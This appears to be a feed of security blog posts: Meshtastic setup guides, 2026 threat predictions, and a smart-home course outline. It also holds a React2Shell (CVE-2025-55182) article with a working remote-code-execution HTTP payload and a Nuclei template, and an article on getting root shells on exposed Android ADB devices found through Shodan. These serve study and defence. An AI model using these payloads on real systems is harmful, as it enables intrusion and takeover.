Welcome back, aspiring cyberwarriors!

Traditional methods of communication leave us vulnerable and reliant on systems controlled by companies and governments that have demonstrated they can’t be trusted with our data. Cell towers can be turned off, internet connections can be monitored, and messaging apps can be hacked or give your messages to the government without telling you. Meshtastic lets you build your own communication network that works completely on its own, without any central authority.

In this article, we will configure Meshtastic firmware on the Lilygo T-Echo device and connect it to the mesh network. Let’s get rolling!

What is Lilygo T-Echo?

The Lilygo T-Echo is a small device that has a Nordic nRF52840 chip, a Semtech SX1262 LoRa radio, and an e-paper screen. This configuration makes it great for mesh networking when you need long battery life and long-range communication. The device can talk to other Meshtastic nodes from several kilometers away in cities and possibly tens of kilometers away in open areas, all while using very little power. You can find a list of devices compatible with Meshtastic after the link. The installation process will be similar to that of the Lilygo T-Echo. But different countries use diverse frequency ranges, so this should be taken into account when purchasing a device.

Step #1: Install the Meshtastic Firmware

Before your T-Echo or any other Meshtastic-compatible device can join a mesh network, you need to flash it with the Meshtastic firmware. The device ships with factory firmware that needs to be replaced with the Meshtastic software stack.

First, navigate to the official Meshtastic web flasher at flasher.meshtastic.org. You will see options for different device types and firmware versions.

Choose your device from the list and the firmware version. After that, connect your Lilygo T-Echo to your computer using a USB-C cable and click Flash.

You might need to trigger DFU mode. To do so, just click Button 1, as shown in the screenshot below.

First, download the UF2 file and copy it to the DFU drive. Once the transfer is complete, the device will automatically reboot and start with the new firmware.

Next, hold down button 2 to select your region and generate a random node name.

Step #2: Install the Meshtastic Mobile Application

To interact with your T-Echo from your smartphone, you need to install the official Meshtastic application. This app serves as your primary interface for sending messages, viewing the mesh network, and configuring your device settings.

On Android devices, open the Google Play Store or F-Droid and search for “Meshtastic.” The official application is published by Meshtastic LLC and should appear at the top of your search results.

The app requires several permissions, including Bluetooth access and location services, which are necessary for communicating with your T-Echo and displaying your position on the mesh if you choose to share location data.

Once the installation completes, open the Meshtastic app. You will be greeted with a welcome screen like the one below.

Step #3: Pair Your T-Echo with Your Smartphone

Now comes the important step of connecting your phone to your T-Echo device. This pairing process creates a secure Bluetooth link that lets your phone set up the device and send messages through it.

In the Meshtastic mobile app, look for a Scan button. The app will begin scanning for nearby Meshtastic devices that are broadcasting their availability over Bluetooth.

Tap on your T-Echo’s name in the device list to initiate the pairing process. The app will attempt to establish a connection with the device. During this process, the app may require you to enter a PIN code displayed on your T-Echo’s screen, though this security feature is not always enabled by default.

Once the pairing completes successfully, the app interface will change to show that you are connected to your device. You should see your node name at the top of the screen, along with battery level, signal strength, and other status information.

At this point, your phone can communicate with your T-Echo, but you are not yet part of a mesh network unless there are other Meshtastic nodes within radio range. The connection you have established is purely between your phone and your device over Bluetooth. The mesh networking happens over the LoRa radio, which operates independently of the Bluetooth connection.

Step #4 Customize Your Node Configuration

Open the Meshtastic app and go to the settings menu, indicated by a gear icon. In the settings, you will find several categories, including Device, Radio Configuration, Module Configuration, and more.

Start with the User settings. Here you can change your node’s name from the randomly generated default to something more meaningful. Tap on the Long Name field and enter a name that identifies you or your device. This name will be visible to other users on the mesh, so choose something appropriate. You can use up to 40 characters, though shorter names are generally better for display purposes. Below the long name, you will see a Short Name field limited to four characters.

In the Radio Configuration section, you will find settings that control how your T-Echo communicates over the LoRa radio. The most important setting here is the Region, which must be set correctly for your geographic location to comply with local radio regulations. For users in North America, select US. European users should select their specific country or the general EU_868 or EU_433 option depending on the frequency band they are using.

The Modem Preset determines the balance between range, speed, and reliability for your radio communications. The default setting is typically Long Fast, which provides a good compromise for most users. This preset utilizes a spreading factor of 11, which provides the best range while maintaining reasonable data rates for text messaging.

The Number of Hops setting controls how many times a message can be retransmitted through the mesh before it is dropped. The default value of 3 is suitable for most networks, enabling messages to travel through multiple nodes to reach distant recipients without generating excessive radio traffic. Besides that, you will find options for enabling various Meshtastic features, like MQTT, GPS, and Telemetry. We’ll explore these topics in future articles.

Important Note: By default, all nodes use a common encryption key, which means anyone with a Meshtastic device can read your messages. You can create private channels, but this goes out of the scope of this article.

Step #5: Send Your First Message

In the Meshtastic app, navigate to the Messages tab or screen. You will see a list of available channels. The LongFast channel is created by default and is where most mesh communication happens. Tap on this channel to open the message interface.

At the bottom of the screen, you will find a text input field where you can write your message. Please remember that Meshtastic is meant for short text messages, with a limit of 200 characters. Tap the send button to transmit your message.

Your T-Echo will receive the message from your phone over Bluetooth and then broadcast it over the LoRa radio. If there are other Meshtastic nodes within range, they will receive your message and display it to their users. If your message needs to reach a node that is not in direct radio range, intermediate nodes will automatically relay it through the mesh until it reaches its destination or the hop limit is exceeded.

You will see your message appear in the conversation thread with a timestamp. If other nodes are present on the mesh, you may see responses or other messages from those users. In my case, we can see somebody leave an emoji on my message. Besides that, T-Echo notifies you on its screen when you receive a new message, and you can switch to the Message tab by clicking Button 2.

Summary

In a world where our communications are constantly monitored, logged, and sold to the highest bidder, Meshtastic running on affordable hardware like the Lilygo T-Echo offers a way to communicate independently. This technology puts the power back in your hands, letting you create mesh networks that work completely outside the control of telecom companies and government surveillance. Whether you’re coordinating security in areas without cell coverage, preparing backup communications for when regular systems fail, or simply want to talk to your team without companies reading every word, Meshtastic gives you the tools you need.

Keep coming back, aspiring off-grid users! We’re diving deeper into this topic, so stay tuned for more updates.

Welcome back, aspiring cyberwarriors!

In our industry, we often see serious security flaws that change everything overnight. React2Shell is one of those flaws. On December 3, 2025, security researchers found CVE-2025-55182, a critical bug with a perfect 10.0 severity score that affects React Server Components and Next.js applications. Within hours of going public, hackers started using this bug to break into IoT devices and web servers on a massive scale. By December 8, security teams saw widespread attacks targeting companies across multiple industries, from construction to entertainment.

What makes React2Shell so dangerous is how simple it is to use. Attackers only need to send one malicious HTTP request to take complete control of vulnerable systems. No complicated steps, no extra work required, just one carefully crafted message and the attacker owns the target.

In this article, we’ll explore the roots of React2Shell and how we can exploit this vulnerability in IoT devices.

The Technical Mechanics of React2Shell

React2Shell takes advantage of how React Server Components handle the React Flight protocol. The React Flight protocol is what moves server-side components of the web framework around. You can think of React Flight as the language that React Server Components use to communicate. When we talk about deserialization vulnerabilities like React2Shell, we’re talking about data that’s supposed to be formatted a certain way being misread by the code that receives it. To learn more about deserialization, check our previous article.

Internally, the deserialization payload takes advantage of how React handles Chunks, which are basic building blocks that define what React should render, display, or run. A chunk is basically a building block of a web page – a small piece of data that the server evaluates to render or process the page on the server instead of in the browser. Essentially, all these chunks are put together to build a complete web page with React.

In this vulnerability, the attacker crafts a Chunk that includes a then method. When React Flight sends this data to React Server Components, React treats the value as thenable, something that behaves like a Promise. Promises are essentially a way for code to say it does not have the result of something yet but will run some code and provide the results later. Javascript React’s automatic handling or misinterpretation of these promised values is what this exploit abuses.

Chunks are referenced with the dollar at token. The attacker has figured out a way to express state within the request forged to the server. With a status of resolved model, the attacker is tricking React Flight into thinking that it has already fulfilled the data in chunk zero. Essentially, the attacker has forged the lifecycle of the request to be further along than it actually is. Because this is resolved as thenable due to the then method by React Server Components, this leads down a code path which eventually executes malicious code.

When Chunk 1 is evaluated, React observes that this is thenable, meaning it appears as a promise. It will refer to Chunk 0 and then attempt to resolve the forged then method. Since the attacker now controls the then resolution path, React Server Components has been tricked into a codepath which the attacker has ultimate control over. When formData.get is set to a value which resolves to a constructor, React treats that field as a reference to a constructor function that it should hydrate during processing of the blob value. This becomes critical because dollar B values are rehydrated by React, and subsequently it must invoke the constructor.

This makes dollar B the execution pivot. By compelling React to hydrate a Blob-like value, React is forced to execute the constructor that the attacker smuggled into formData.get. Since that constructor resolves to the malicious thenable function, React executes the code as part of its hydration process. Lastly, by defining the prefix primitive, the attacker prepends malicious code into the executable codepath. By appending two forward slashes to the payload, the attacker has told Javascript to treat the rest as a commented block, allowing execution of only the attacker’s code and avoiding syntax errors, quite similar to SQL Injection.

Fire Up the PoC

Before working with the exploit, let’s go to Shodan and see how many active sites on Next.js it has indexed.

As you can see, the query: http.component:“Next.js” 200 country:“ru” returned more than a thousand results. But of course, not all of them are vulnerable. To check, we can use the following template for Nuclei.

id: cve-2025-55182-react2shell

info:
  name: Next.js/React Server Components RCE (React2Shell)
  author: assetnote
  severity: critical
  description: |
    Detects CVE-2025-55182 and CVE-2025-66478, a Remote Code Execution vulnerability in Next.js applications using React Server Components.
    It attempts to execute 'echo $((1337*10001))' on the server. If successful, the server returns a redirect to '/login?a=11111'.
  reference:
    - https://github.com/assetnote/react2shell-scanner
    - https://slcyber.io/research-center/high-fidelity-detection-mechanism-for-rsc-next-js-rce-cve-2025-55182-cve-2025-66478
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10.0
    cve-id:
      - CVE-2025-55182
      - CVE-2025-66478
  tags: cve, cve2025, nextjs, rce, react

http:
  - raw:
      - |
        POST / HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
        Next-Action: x
        X-Nextjs-Request-Id: b5dce965
        X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad

        ------WebKitFormBoundaryx8jO2oVc6SWP3Sad
        Content-Disposition: form-data; name="0"

        {"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var res=process.mainModule.require('child_process').execSync('echo $((1337*10001))').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
        ------WebKitFormBoundaryx8jO2oVc6SWP3Sad
        Content-Disposition: form-data; name="1"

        "$@0"
        ------WebKitFormBoundaryx8jO2oVc6SWP3Sad
        Content-Disposition: form-data; name="2"

        []
        ------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "/login?a=13371337"
          - "X-Action-Redirect"
        condition: and

Next, this command will show whether the web application is vulnerable.

kali> nuclei -silent -u http://<ip>:3000 -t react2shell.yaml

In addition, on Github you can find scanners in different programming languages that do exactly the same thing. Here is an example of a solution from Malayke:

You can create a test environment for this vulnerability with just a few commands:

kali> npx create-next-app@16.0.6 my-cve-2025-66478-app

kali> cd my-cve-2025-66478-app

kali> npm run dev

Commands above create a new Next.js application named my-cve-2025-66478-app using version 16.0.6 of the official setup tool, without installing anything globally. If you open localhost:3000 in your browser, you will see the following.

At this stage, we can proceed to exploit the vulnerability. Open your preferred web app proxy application, such as Burp Suite or ZAP. In this case, I will be using Caido (if you have not used it before, you can familiarize yourself with it in the following articles).

The algorithm is quite simple: we need to catch the request to the site and redirect it to Replay.

After that, we need to change the request from GET to POST and add a payload. The overall request looks like this:

POST / HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 740

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

As a result, the id command was executed.

Observed Attack Patterns

Security researchers have identified multiple instances of React2Shell attacks across different systems. The similar patterns observed in these cases reveal how the attacker operates and which tools they use, at least during the early days following the vulnerability’s disclosure.

In the first case, on December 4, 2025, the attacker broke into a vulnerable Next.js system running on Windows and tried to download an unknown file using curl and bash commands. They then tried to download a Linux cryptocurrency miner. About 6 hours later, they tried to download a Linux backdoor. The attackers also ran commands like whoami and echo, which researchers believe was a way to test if commands would run and figure out what operating system was being used.

In the second case, on another Windows computer, the attacker tried to download multiple files from their control servers. Interestingly, the attacker ran the command ver || id, which is a trick to figure out if the system is running Windows or Linux. The ver command shows the Windows version, while id shows user information on Linux. The double pipe operator makes sure the second command only runs if the first one fails, letting the attacker identify the operating system. Like before, the attacker also ran a command to test if their code would run, followed by commands like whoami and hostname to gather user and system information.

In the third case, the attacker followed the same pattern. They first ran commands to test if their code would work and used commands like whoami to gather user information. The attacker then tried to download multiple files from their control servers. The commands follow the same approach: download a shell script, run it with bash, and sometimes delete it to hide evidence.

Unlike the earlier Windows cases, the fourth case targeted a Linux computer running a Next.js application. The attacker successfully broke in and installed an XMRig cryptocurrency miner.

Based on the similar pattern seen across multiple computers, including identical tests and control servers, researchers believe the attacker is likely using automated hacking tools. This is supported by the attempts to use Linux-specific files on Windows computers, showing that the automation doesn’t tell the difference between operating systems. On one of the hacked computers, log analysis showed evidence of automated vulnerability scanning before the attack. The attacker used a publicly available GitHub tool to find vulnerable Next.js systems before launching their attack.

RondoDox Campaign

Security researchers have found a nine-month campaign targeting IoT devices and web applications to build a botnet called RondoDox. This campaign started in early 2025 and has grown through three phases, each one bigger and more advanced than the last.

The first phase ran from March through April 2025 and involved early testing and manual scanning for vulnerabilities. During this time, the attackers were testing their tools and looking for potential targets across the internet. The second phase, from April through June 2025, saw daily mass scanning targeting web applications like WordPress, Drupal, and Struts2, along with IoT devices such as Wavlink routers. The third phase, starting in July and continuing through early December 2025, marked a shift to hourly automated attacks on a large scale, showing the operators had improved their tools and were ready for mass attacks.

When React2Shell was disclosed in December 2025, the RondoDox operators immediately added it to their toolkit alongside other N-day vulnerabilities, including CVE-2023-1389 and CVE-2025-24893. The attacks detected in December follow a consistent pattern. Attackers scan to find vulnerable Next.js servers, then try to install multiple payloads on infected devices. These payloads include cryptocurrency miners, botnet loaders, health checkers, and Mirai botnet variants. The infection chain is designed to stay on systems and resist removal attempts.

A large portion of the attack traffic comes from a datacenter in Poland, with one IP address alone responsible for more than 12,000 React2Shell-related events, along with port scanning and attempts to exploit known Hikvision vulnerabilities. This behavior matches patterns seen in Mirai-derived botnets, where compromised infrastructure is used both for scanning and for launching multi-vector attacks. Additional scanning comes from the United States, the Netherlands, Ireland, France, Hong Kong, Singapore, China, Panama, and other regions, showing broad global participation in opportunistic attacks.

Mitigation

CVE-2025-55182 exists in several versions including version 19.0, 19.1.0, 19.1.1, and 19.2.0 of the following packages: react-server-dom-webpack, react-server-dom-parcel, and react-server-dom-turbopack. Businesses relying on any of these impacted packages should update immediately.

Summary

Cyberwarriors need to make sure their systems are safe from new threats. The React2Shell vulnerability is a serious risk for organizations using React Server Components and Next.js applications. Hackers can exploit this vulnerability to steal personal data, corporate data, and attack critical infrastructure by installing malware. This vulnerability is easy to exploit, and many organizations use the affected software, which has made it popular with botnet operators who’ve quickly added React2Shell to their attack tools. Organizations need to patch right away, use multiple layers of defense, and watch their systems closely to protect against this threat. A vulnerability like React2Shell can take down entire networks if even one application is exposed.

Welcome back, my aspiring cyberwarriors!

As we enter 2026, cybersecurity will be among the most important issues your organization, and our society, will face. Let’s take moment to review the most important issues we will be facing to help you better prepare.

Rather than leveling off or declining, cyber attacks continue at an unprecedented pace. Recent trends and technological developments can help to inform us as to the nature of attacks in 2026.

Let’s take a look.

AI as Both Weapon, Shield, and Force Multiplier

Artificial intelligence is changing the way all of us work and that applies to your cyber adversaries as well. Hackers are quickly adapting to the new AI environment, leveraging its speed and scale to enhance their attacks. At the same time, organizations are deploying AI to detect threats, predictive modelling, and automated responses. In both cases, Artificial Intelligence (AI) becomes a force-multiplier enabling both sides to do more with less.

In 2026, we will certainly see more AI generated threats and those organizations who refuse to use AI to defend their networks and assets will likely not be here to enjoy 2027.

SCADA/ICS/OT Vulnerabilities

Industrial systems (SCADA/ICS/OT) will continue to be key targets in 2026. These systems have benefited from security through obscurity for decades, but now that the attackers understand how poorly secured these systems are, the attacks will accelerate.

Some of the key issues identified by this industry include:

1. 47% SCADA/ICS/OT companies cite gaps in the skillsets and resources necessary to protect their systems.
2. 41% identify lack of network segmentation between OT/IIoT and IT environments as key challenges.

Critical infrastructure systems remain particularly vulnerable to sophisticated attacks. Over 200 proprietary protocols not found among the TCP/IP stack makes this field particularly challenging, while being among the most important to national security.

Internet of Things (IoT)

IoT is growing exponentially while the security of these devices is stuck in a crawl. In 2026, these devices will be increasingly used as a vector to compromise devices within the home network (phones, computers, other IoT) and as an element of a larger botnet, used to perpetuate the largest DDoS attacks in history (this is an easy prediction to make as IoT every year is responsible for the largest DDoS attacks in history). IoT increases every person’s attack surface and the greater the attack surface, the greater the probability of compromise.

Unless the IoT industry implements some basic standards of security, in 2026 the world will become a much more dangerous place.

Identity Management

Identity management is crucial in cybersecurity because it controls who has access to your systems and data.Without strong identity management, you’re essentially leaving the keys under the doormat—even the best perimeter security becomes ineffective when you can’t verify and control who’s inside your system. Artificial intelligence (AI) will make identity management even more challenging in 2026 as attackers use;

1. Deep fakes and synthetic identities including fake voices, videos, images. This will make such identity management systems as biometrics less reliable.
2. Social engineering will be enhanced by enabling the attacker to personalize phishing attacks by replicating the writing style, voice, or social media presence of a trusted colleague.
3. As AI-generated content becomes increasingly ubiquitous, it will become harder and harder to distinguish between AI agents and real humans.

2026 may be the year you will need to implement AI to determine if someone is actually a human.

Cloud Security Complexity

Cloud is the top cybersecurity threat organizations feel least prepared to manage. Multi-cloud environments face sophisticated malware, insider threats, mis-configurations, and supply chain vulnerabilities. Organizations are struggling with “tool sprawl”—managing dozens of separate security tools that create blind spots and conflicting configurations.

Quantum Computing Threats

Quantum computing is coming! Probably not in 2026, but on the near horizon the threat looms of quantum computing breaking your encryption. Quantum computers can easily break the most widely used asymmetric cryptography and 2026 should be the year you begin to prepare with quantum-resistant devices and cryptography.

Geopolitical Impact

Wars are raging around the planet and these conflicts will lead to additional geopolitical risk. Some 60% of business and tech leaders rank cyber risk investment in their top three strategic priorities in response to ongoing geopolitical uncertainty. State-sponsored cyberattacks, disrupted supply chains, fractured alliances, and telecom infrastructure vulnerabilities are reshaping threat landscapes and business strategies.

Ransomware Evolution

Ransomware-as-a-Service (RaaS) is making sophisticated attacks more accessible. AI-driven ransomware can instantly detect vulnerabilities with increased focus on vital industries like finance, healthcare, and energy. The average data breach cost has reached $4.4 million in 2025.

Multi-stage ransomware with data theft, harassment, and long‑tail extortion remains the most disruptive form of cybercrime, and we predict record incident volumes projected into 2026.

Cybercrime ecosystems are moving more of their infrastructure and monetization on‑chain (crypto, mixers, DeFi), making take-down and attribution harder and enabling more resilient RaaS affiliate models.

Talent and Skills Shortages

Workforce gaps remain a critical barrier. Knowledge and skills shortages are the top obstacles to implementing AI-enabled cyber defense. Over half of all organizations are turning to AI tools and managed security services to compensate for missing expertise.

Remote Work Security

With hybrid work as the default, securing remote access has become paramount. Cyber criminals are exploiting remote sessions through phishing, credential theft, and AI-powered impersonation attacks, expanding the attack surface of your organization significantly.

Proactive resilience and continuous adaptation are no longer optional but essential for survival in 2026’s threat landscape.

Physical Security

If you attacker is within your perimeter defenses, GAME OVER! An attacker who can enter your facility and sit down to a computer may be one of the least anticipated attacks. This applies to the disgruntled insider as well. You can have the very best perimeter defenses, but if the attacker is inside your walls, that will all be for naught.

In 2026, make certain to secure your physical perimeter and test all your systems against such as attacks as RFID smart card attacks and social engineering.

Summary

We predict that 2026 will be another very challenging year for those of us cybersecurity. It is essential that you understand the coming threats and the methods to the thwart them. Hackers-Arise will address each of these issues in 2026 both in this blog and in our 2026 trainings.

Join us to advance your cybersecurity career!

The post What Will Be Key Cybersecurity Issues in 2026? first appeared on Hackers Arise.

Welcome back, my aspiring cyberwarriors!

In our eventful time, the ability to communicate off-grid has become more valuable than ever. Whether you’re preparing for emergencies, exploring remote locations, or simply want a decentralized communication network that doesn’t rely on cellular towers or internet infrastructure, Meshtastic offers a powerful solution.

In this article, we will explore what Meshtastic is and what it has to offer.

What is Meshtastic?

Meshtastic is an open-source mesh networking platform that leverages LoRa (Long Range) radio technology to create decentralized communication networks. Unlike traditional communications that depend on cellular networks or WiFi, Meshtastic enables devices to communicate directly with each other over long distances, creating a self-healing network where messages hop from node to node until they reach their destination.

The platform is built around the concept of decentralization, meaning no central server or infrastructure is required. Each node operates independently while contributing to the network’s overall reach. With LoRa technology you can communicate over several kilometers. Some configurations have achieved ranges of 10-20km in open terrain.

The low power consumption design makes it excellent for battery-operated devices and for portable and remote deployments. Meshtastic works across various hardware platforms, including ESP32, Raspberry Pi, and dedicated LoRa boards, and the cost-effectiveness of the required hardware components means basic nodes can be built for under $50.

Key Purposes and Use Cases

The primary purposes and use cases of these communication systems include supporting outdoor activities like hiking, camping, backpacking, and off-roading, allowing groups to stay in touch over long distances without relying on cellular towers. They are also essential in emergency and disaster response situations, providing communication during natural disasters, power outages, or other scenarios where cellular networks fail. These systems play a crucial role in search and rescue operations as well.

Additionally, they facilitate messaging in remote or restricted areas where connectivity is poor or internet access is limited. Community members and hobbyists use these systems to create local mesh networks for experimentation, conduct large-scale testing at events such as DEF CON, or establish backup communication systems for urban areas.

Ultimately, these universal communication systems enhance safety, build community connections, and ensure reliable communication in various challenging environments.

How Does Mashtastic Work?

Meshtastic operates on hardware such as ESP32-based boards (e.g., Heltec, LilyGO T-Beam) or pre-built nodes equipped with LoRa modules. These devices are programmed with Meshtastic firmware and function on unlicensed ISM radio bands, making them legal in most regions without the need for a ham radio license, although using higher power may require one in certain areas.

Communication Process

Sending a Message: To send a message, connect a Meshtastic device (referred to as a “node”) to your phone via Bluetooth (or sometimes Wi-Fi/serial) using companion apps available for Android, iOS, web, or desktop. Type your message in the app, and it will be sent to your node.

Broadcasting: The node then broadcasts the encrypted message packet over the LoRa radio. It is important to note that LoRa is designed for low-bandwidth communication, making it suitable for short text messages but not for voice or video.

Meshing and Relaying: Nearby nodes that receive the packet check if it is new (nodes track received packets to avoid duplicates). If it is new, they will rebroadcast it after decrementing a “hop limit” (the default is around 3 hops to prevent infinite looping). This creates a flooding mesh that relays the message from node to node until it reaches the intended recipient(s) or the hop limit is exhausted.

Receiving: The destination node receives the packet, decrypts it using AES256 encryption with shared channel keys, and forwards it to the connected app or phone for display. Additionally, nodes can share location data to map group positions.

Differences Between LTE, 5G, and Meshtastic

Many of us depend on LTE and 5G networks daily, so it’s important to compare them with Meshtastic.

Aspect	Meshtastic (LoRa Mesh)	LTE (4G)	5G
Technology	LoRa radio (915 MHz ISM band in US, license-free)	Cellular (various bands, e.g., 700–2600 MHz)	Cellular (sub-6 GHz + mmWave high bands)
Infrastructure	Decentralized mesh: User-deployed nodes relay messages	Centralized: Carrier-owned cell towers	Centralized: Dense cell towers + small cells
Coverage/Range	5–20+ km per hop (line-of-sight, terrain-dependent); extends via mesh	Nationwide/global where towers exist; indoor/outdoor	Similar to LTE but denser for high speeds; mmWave short-range
Data Speed	Very low: ~0.5–20 kbps (text-only, short messages)	5–100 Mbps typical (up to 300 Mbps peak)	100 Mbps–1+ Gbps typical (up to 10–20 Gbps theoretical)
Latency	Seconds to minutes (mesh hopping)	20–50 ms	1–10 ms (ultra-low for real-time apps)
Data Types	Text messages, GPS positions, basic telemetry	Voice, video, high-speed internet, apps	All LTE + AR/VR, IoT, autonomous vehicles
Power Consumption	Very low: Weeks/months on battery/solar	Moderate: Drains phone battery quickly	Higher (especially mmWave); improved efficiency in newer devices
Cost	Low one-time (devices + optional solar); no subscriptions	Monthly plan + device	Higher plans; premium for full speeds
Reliability in Outages	Excellent: Works off-grid, no single point of failure	Fails without power/towers (e.g., disasters)	Same as LTE; more vulnerable to congestion
Limitations	Text-only, slow, needs multiple nodes for range	Requires signal/subscription	Limited high-speed coverage; higher battery drain

These technologies serve different purposes: Meshtastic for resilient, infrastructure-independent communication in remote or emergency scenarios, versus LTE/5G for high-speed, everyday mobile internet and voice.

Summary

Meshtastic is a free and user-friendly tool that enables you to send messages without relying on the internet or mobile networks. It connects small, specialized devices to form a network, allowing communication over long distances. This makes it ideal for outdoor adventures, emergencies, or communication in remote areas.

Stay tuned as we continue to explore off-grid communication and simulate the mesh network using minimal hardware equipment in future articles.

Welcome back, aspiring cyberwarriors!

According to StatCounter, in 2025 Android powers over 3.3 billion users worldwide, dominating the global mobile OS market with a 71.85% share. But beyond phones, Android also powers a wide range of devices, including tablets, TVs, automotive systems, XR devices, and more.

Today, I’d like to show you how all of these devices can be hacked in seconds due to the negligence of their owners.

Android Debug Bridge (ADB)

Android Debug Bridge (ADB) is a versatile command-line tool that allows you to communicate with an Android device or emulator. The ADB command enables various device actions, such as installing and debugging apps. It also provides access to a Unix shell, letting you run a wide range of commands directly on the device.

ADB is a client-server program composed of three main components:

• Client: Runs on your development machine and sends commands. You invoke the client by issuing ADB commands from a terminal.
• Server: Also runs on your development machine as a background process. It manages communication between the client and the device daemon, handling multiple device connections.
• Daemon (adbd): Runs as a background process on each connected Android device or emulator. It executes commands sent from the server.

ADB can be accessed via both USB and Wi-Fi. When ADB is enabled over Wi-Fi (also known as ADB over TCP/IP), it listens on port 5555 and can accept connections from any device that can reach it — not just those on the same Wi-Fi network, but potentially from other networks via the internet if the device’s port is exposed, effectively opening a door for hackers.

Recon

To find systems with exposed ADB, we can use the well-known service Shodan — for example, by using the search query: “Android Debug Bridge port:5555”.

You can use nmap to check if there’s an ADB server on a target host like this:

kali> nmap <IP> -p 5555 -sV

If the service is running and allows unauthorized access, you might be able to see some valuable information, such as the system name, model, and available features.

Attack Via ADB Shell

First of all, we need to install the ADB shell, we can do so with the command:

kali> sudo apt install adb

You can check if the installation succeeded by viewing the help screen:

kali> adb –help

After that, we can try to connect:

kali> adb connect <ip>:<port>

We can check the connected devices, with command:
kali> adb devices

And move directly to the shell:

kali> adb shell

And we’re immediately granted root access to the system. We can do anything we want.

Post-Exploitation

Once ADB shell access is obtained, a single session can be useful but remains limited. Real offensive operations demand persistent access, remote control, and covert data channels. This is where Command and Control (C2) becomes essential. I won’t cover it here, as it’s a broad topic, but you can learn more in our Infrastructure Basics for Hackers course.

Conclusion

ADB is not inherently insecure, but when misconfigured, it becomes one of the fastest ways to compromise an Android-based system. The attacker does not need a CVE or an exploit chain. All they need is port 5555 and silence on the defender’s side.

Thousands of devices remain exposed today—mostly smart TVs, Android TV boxes, routers, IoT appliances, and older smartphones. These devices are often unpatched, unmanaged, and forgotten.

Find out if your phone has been hacked and how to investigate it by attending our Mobile Forensics class.

Welcome back, my aspiring cyberwarriors!

Smart homes are increasingly becoming common in our digital world! These smart home devices have become of the key targets of malicious hackers. This is largely due to their very weak security. In 2025, attacks on connected devices rose 400 percent, with average breach costs hitting $5.4 million

In this three-day class, we will explore and analyze the various security weaknesses of these smart home devices and protocols.

Course Outline

1. Introduction and Overview of Smart Home Devices
2. Weak Authentication on Smart Home Devices
3. RFID and the Smart Home Security
4. Bluetooth and Bluetooth LE vulnerabilities in the home
5. Wi-Fi vulnerabilities and how they can be leveraged to takeover all the devices in the home
6. LoRa vulnerabilities
7. IP Camera vulnerabilities
8. Zigbee vulnerabilities
9. Jamming Wireless Technologies in the Smart Home
10. How attackers can pivot from an IoT devices in the home to takeover your phone or computer
11. How to Secure Your Smart Home

This course is part of our Subscriber Pro training package

Welcome back, my aspiring cyberwarriors!

As smart homes become ever more common in our digital world, they have become a favorite target for hackers around the world. We have seen SO many smart home devices compromised and then the hackers use those devices to pivot to other devices connected to the local area network such as phones and laptops.

Smart home devices now include so many devices, such as;

1. Smart TV’s
2. Smart Lighting
3. Smart Garage Door Openers
4. Smart Security Systems
5. Smart Cameras
6. Smart Appliances (Refrigerators, stoves, washers, dryers, etc.)
7. Smart Picture Frames
8. Smart Infotainment Systems
9. and so many more

Each of these smart devices has a small CPU, small amount of RAM, and a Linux operating system, most commonly BusyBox, due to its very small size. These systems are very often shipped with little aforethought regarding security. This makes it relatively easy to hack these devices.

In addition, these devices are often connected to your Wi-Fi, Bluetooth, or Zigbee network. Each of these network types are vulnerable to multiple attack vectors making the entire home and the devices therein vulnerable.

To learn more about Smart Home Hacking, consider attending our Smart Home Hacking training, January 13-15.

Here are the most significant security risks documented in recent research and threat reports:

Common Smart Home Vulnerabilities

• Weak or Default Credentials
  • Many smart home devices ship with weak, default, or hardcoded passwords, which attackers can easily guess or find online.
  • Credential stuffing and password reuse across multiple devices leads to widespread compromise.
• Outdated and Unpatched Firmware
  • A high proportion of smart devices run old firmware with known vulnerabilities and rarely receive updates or security patches, leaving them open to exploitation.
  • Supply chain vulnerabilities can introduce malware before devices even reach the consumer (such as Badbox 2.0).
• Vulnerable Network Services and Open Ports
  • Devices expose unnecessary or insecure services to the local network or internet (e.g., Telnet, UPnP, poorly secured web interfaces), facilitating remote exploitation.
  • Automated scanning for open ports is a dominant attack method, accounting for over 93% of blocked events in recent studies.
• Poor Encryption and Data Protection
  • Many smart devices transmit sensitive data (e.g., audio, video, sensor readings) without proper encryption, enabling eavesdropping and privacy breaches.
  • Weak or flawed cryptographic implementations allow attackers to decrypt captured traffic or manipulate device functionality.
• Device Hijacking and Botnets
  • Attackers can take over smart devices, using them as proxies for further attacks (DDoS, ad fraud, credential theft) or as part of large-scale botnets (Mirai, EchoBot, PUMABOT).
